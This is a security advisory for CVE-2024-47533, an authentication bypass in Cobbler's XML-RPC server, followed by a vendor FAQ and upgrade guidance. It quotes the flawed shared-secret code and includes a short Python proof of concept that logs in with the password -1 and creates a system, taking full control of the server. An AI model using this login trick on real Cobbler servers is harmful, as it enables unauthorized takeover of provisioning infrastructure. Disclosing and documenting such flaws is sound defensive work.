CVE-2024-47533

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

def get_shared_secret() -> Union[str, int]:
    """
    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

    :return: The Cobbler secret which enables full access to Cobbler.
    """

    try:
        with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
            data = fd.read()
    except:
        return -1
    return str(data).strip()

binary mode doesn't take an encoding argument

#!/usr/bin/python3

import ssl
import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()

url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
    conn = xmlrpc.client.Server(url)

try:
    token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
    print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system_id = conn.new_system(token)

This gives anyone with network access to a cobbler server full control of the server.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2024-47533 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.3.7, 3.2.3); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is CVE-2024-47533? CVE-2024-47533 is a critical-severity improper authentication vulnerability in cobbler (pip), affecting versions >= 3.3.0, < 3.3.7. It is fixed in 3.3.7, 3.2.3. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2024-47533? CVE-2024-47533 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of cobbler are affected by CVE-2024-47533? cobbler (pip) versions >= 3.3.0, < 3.3.7 is affected.
4. Is there a fix for CVE-2024-47533? Yes. CVE-2024-47533 is fixed in 3.3.7, 3.2.3. Upgrade to this version or later.
5. Is CVE-2024-47533 exploitable, and should I be worried? Whether CVE-2024-47533 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-47533 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-47533?
   • Upgrade cobbler to 3.3.7 or later
   • Upgrade cobbler to 3.2.3 or later

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